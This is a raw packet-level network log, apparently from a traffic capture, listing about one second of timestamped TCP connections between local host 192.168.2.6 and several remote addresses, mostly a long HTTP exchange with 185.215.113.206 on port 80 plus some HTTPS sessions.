Nov 22, 2024 14:43:59.781325102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.781371117 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.782376051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.782427073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.782527924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.782576084 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.783447027 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.783498049 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.783565998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.783601999 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.784619093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.784722090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.784739971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.784898996 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.785713911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.785763979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.785839081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.786057949 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.786890030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.786935091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.787125111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.787182093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.787969112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.788090944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.788110018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.788130999 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.789119959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.789218903 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.789232016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.789268970 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.790335894 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.790390968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.790527105 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.791419983 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.791466951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.791517973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.791560888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.792545080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.792663097 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.792678118 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.792702913 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.793667078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.793689013 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.793714046 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.793728113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.794811964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.794872046 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.794934988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.794980049 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.795914888 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.795964956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.795990944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.796036959 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.797075033 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.797127008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.797128916 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.797169924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.798207998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.798279047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.798330069 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.799355984 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.799447060 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.799469948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.799576044 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.800522089 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.800533056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.800575018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.801641941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.801692009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.801784039 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.801990986 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.802773952 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.802786112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.802825928 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.804132938 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.804188967 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.831152916 CET	443	49900	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.831176996 CET	443	49900	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.831253052 CET	443	49900	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.831259966 CET	49900	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.831716061 CET	49900	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.833690882 CET	49900	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.833713055 CET	443	49900	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.895766973 CET	443	49902	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.895791054 CET	443	49902	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.895868063 CET	49902	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.895900965 CET	443	49902	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.896903992 CET	443	49902	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.896986961 CET	49902	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.899874926 CET	49902	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.899900913 CET	443	49902	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.945934057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.946016073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.946059942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.946120024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.946495056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.946556091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.946621895 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.946705103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.947659969 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.947710037 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.947762012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.947897911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.948822975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.948865891 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.948872089 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.948968887 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.949938059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.949991941 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.950073004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.950115919 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.951085091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.951164007 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.951173067 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.951278925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.952193022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.952327967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.953336954 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.953418970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.954446077 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.954539061 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.955611944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.955667019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.956751108 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.956825972 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.957899094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.957971096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.958807945 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.958993912 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.959064007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.959119081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.960264921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.960278988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.960310936 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.960339069 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.961281061 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.961442947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.961499929 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.962435961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.962491035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.962513924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.962544918 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.963527918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.963624001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.963659048 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.963659048 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.964692116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.964737892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.964816093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.964920998 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.965806961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.965856075 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.965883970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.965984106 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.966957092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.967016935 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.967051983 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.967187881 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.968157053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.968218088 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.968265057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.968319893 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.969235897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.969280005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.969299078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.969753981 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.970343113 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.970362902 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.970391989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.970478058 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.971513987 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.971561909 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.971688032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.971729040 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.972706079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.972763062 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.972788095 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.972829103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.973757029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.973807096 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.973862886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.973901987 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.974905014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.974920034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.974963903 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.975009918 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.976039886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.976095915 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.976172924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.976212978 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.977200031 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.977243900 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.977458954 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.977530956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.978347063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.978364944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.978420019 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.979424953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.979473114 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.979490995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.979526997 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.053005934 CET	443	49904	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:00.053028107 CET	443	49904	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:00.053284883 CET	49904	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:44:00.053302050 CET	443	49904	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:00.056782961 CET	443	49904	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:00.057374954 CET	49904	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:44:00.057637930 CET	49904	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:44:00.057651997 CET	443	49904	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:00.057739019 CET	49904	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:44:00.057761908 CET	49904	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:44:00.069814920 CET	443	49908	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.075285912 CET	49908	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.075301886 CET	443	49908	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.075844049 CET	49908	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.075849056 CET	443	49908	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.087855101 CET	443	49906	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.088599920 CET	49906	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.088618994 CET	443	49906	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.089356899 CET	49906	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.089361906 CET	443	49906	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.098365068 CET	443	49913	18.164.116.57	192.168.2.6
Nov 22, 2024 14:44:00.100083113 CET	49913	443	192.168.2.6	18.164.116.57
Nov 22, 2024 14:44:00.100095987 CET	443	49913	18.164.116.57	192.168.2.6
Nov 22, 2024 14:44:00.101234913 CET	443	49913	18.164.116.57	192.168.2.6
Nov 22, 2024 14:44:00.101366043 CET	49913	443	192.168.2.6	18.164.116.57
Nov 22, 2024 14:44:00.103475094 CET	49913	443	192.168.2.6	18.164.116.57
Nov 22, 2024 14:44:00.103526115 CET	443	49913	18.164.116.57	192.168.2.6
Nov 22, 2024 14:44:00.103743076 CET	49913	443	192.168.2.6	18.164.116.57
Nov 22, 2024 14:44:00.128532887 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.134296894 CET	443	49901	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:00.134358883 CET	443	49901	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:00.134459019 CET	49901	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:44:00.134469032 CET	443	49901	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:00.134552002 CET	443	49901	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:00.134603977 CET	49901	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:44:00.136859894 CET	49901	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:44:00.136873960 CET	443	49901	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:00.146807909 CET	49913	443	192.168.2.6	18.164.116.57
Nov 22, 2024 14:44:00.146816969 CET	443	49913	18.164.116.57	192.168.2.6
Nov 22, 2024 14:44:00.177609921 CET	443	49907	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.178328037 CET	49907	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.178349972 CET	443	49907	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.179111958 CET	49907	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.179121971 CET	443	49907	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.190932989 CET	49913	443	192.168.2.6	18.164.116.57
Nov 22, 2024 14:44:00.249068975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.299113035 CET	443	49910	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.299643040 CET	49910	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.299660921 CET	443	49910	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.300318956 CET	49910	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.300324917 CET	443	49910	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.316493988 CET	443	49909	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.318335056 CET	49909	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.318373919 CET	443	49909	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.319143057 CET	49909	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.319149017 CET	443	49909	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.342720985 CET	443	49912	20.110.205.119	192.168.2.6
Nov 22, 2024 14:44:00.343096018 CET	49912	443	192.168.2.6	20.110.205.119
Nov 22, 2024 14:44:00.343111992 CET	443	49912	20.110.205.119	192.168.2.6
Nov 22, 2024 14:44:00.344250917 CET	443	49912	20.110.205.119	192.168.2.6
Nov 22, 2024 14:44:00.344341993 CET	49912	443	192.168.2.6	20.110.205.119
Nov 22, 2024 14:44:00.345782995 CET	49912	443	192.168.2.6	20.110.205.119
Nov 22, 2024 14:44:00.345858097 CET	443	49912	20.110.205.119	192.168.2.6
Nov 22, 2024 14:44:00.346079111 CET	49912	443	192.168.2.6	20.110.205.119
Nov 22, 2024 14:44:00.346086025 CET	443	49912	20.110.205.119	192.168.2.6
Nov 22, 2024 14:44:00.372351885 CET	443	49911	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:00.374419928 CET	49911	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:00.374432087 CET	443	49911	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:00.375781059 CET	443	49911	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:00.375850916 CET	49911	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:00.377002954 CET	49911	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:00.377074957 CET	443	49911	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:00.377249002 CET	49911	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:00.377255917 CET	443	49911	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:00.377290964 CET	49911	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:00.377325058 CET	443	49911	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:00.395854950 CET	49912	443	192.168.2.6	20.110.205.119
Nov 22, 2024 14:44:00.402880907 CET	443	49914	23.101.168.44	192.168.2.6
Nov 22, 2024 14:44:00.403192043 CET	49914	443	192.168.2.6	23.101.168.44
Nov 22, 2024 14:44:00.403208017 CET	443	49914	23.101.168.44	192.168.2.6
Nov 22, 2024 14:44:00.404474020 CET	443	49914	23.101.168.44	192.168.2.6
Nov 22, 2024 14:44:00.404537916 CET	49914	443	192.168.2.6	23.101.168.44
Nov 22, 2024 14:44:00.405602932 CET	49914	443	192.168.2.6	23.101.168.44
Nov 22, 2024 14:44:00.405664921 CET	443	49914	23.101.168.44	192.168.2.6
Nov 22, 2024 14:44:00.405874968 CET	49914	443	192.168.2.6	23.101.168.44
Nov 22, 2024 14:44:00.427993059 CET	49911	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:00.447338104 CET	443	49914	23.101.168.44	192.168.2.6
Nov 22, 2024 14:44:00.459471941 CET	49914	443	192.168.2.6	23.101.168.44
Nov 22, 2024 14:44:00.459487915 CET	443	49914	23.101.168.44	192.168.2.6
Nov 22, 2024 14:44:00.489440918 CET	443	49917	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.489773989 CET	49917	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.489793062 CET	443	49917	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.490952015 CET	443	49917	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.491175890 CET	49917	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.492069006 CET	49917	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.492135048 CET	443	49917	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.492400885 CET	49917	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.492408037 CET	443	49917	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.504265070 CET	443	49908	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.506916046 CET	49914	443	192.168.2.6	23.101.168.44
Nov 22, 2024 14:44:00.507401943 CET	443	49908	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.507503986 CET	49908	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.509653091 CET	49908	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.509666920 CET	443	49908	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.509860992 CET	49908	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.509866953 CET	443	49908	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.514609098 CET	443	49919	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.518281937 CET	49919	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.518290997 CET	443	49919	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.518945932 CET	49922	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.518980026 CET	443	49922	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.519748926 CET	49922	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.520622015 CET	49922	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.520637035 CET	443	49922	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.520961046 CET	443	49919	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.521073103 CET	49919	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.521383047 CET	49919	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.521518946 CET	443	49919	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.521964073 CET	49919	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.535249949 CET	443	49916	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.535465956 CET	49916	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.535476923 CET	443	49916	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.536519051 CET	443	49916	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.536583900 CET	49916	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.537056923 CET	49917	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.537782907 CET	49916	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.537885904 CET	443	49916	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.537947893 CET	49916	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.545733929 CET	443	49913	18.164.116.57	192.168.2.6
Nov 22, 2024 14:44:00.545792103 CET	443	49913	18.164.116.57	192.168.2.6
Nov 22, 2024 14:44:00.545938015 CET	49913	443	192.168.2.6	18.164.116.57
Nov 22, 2024 14:44:00.546730995 CET	49913	443	192.168.2.6	18.164.116.57
Nov 22, 2024 14:44:00.546740055 CET	443	49913	18.164.116.57	192.168.2.6
Nov 22, 2024 14:44:00.547286987 CET	443	49906	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.547307014 CET	443	49906	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.547393084 CET	49906	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.547401905 CET	443	49906	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.548284054 CET	49906	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.548284054 CET	49906	443	192.168.2.6	13.107.246.63
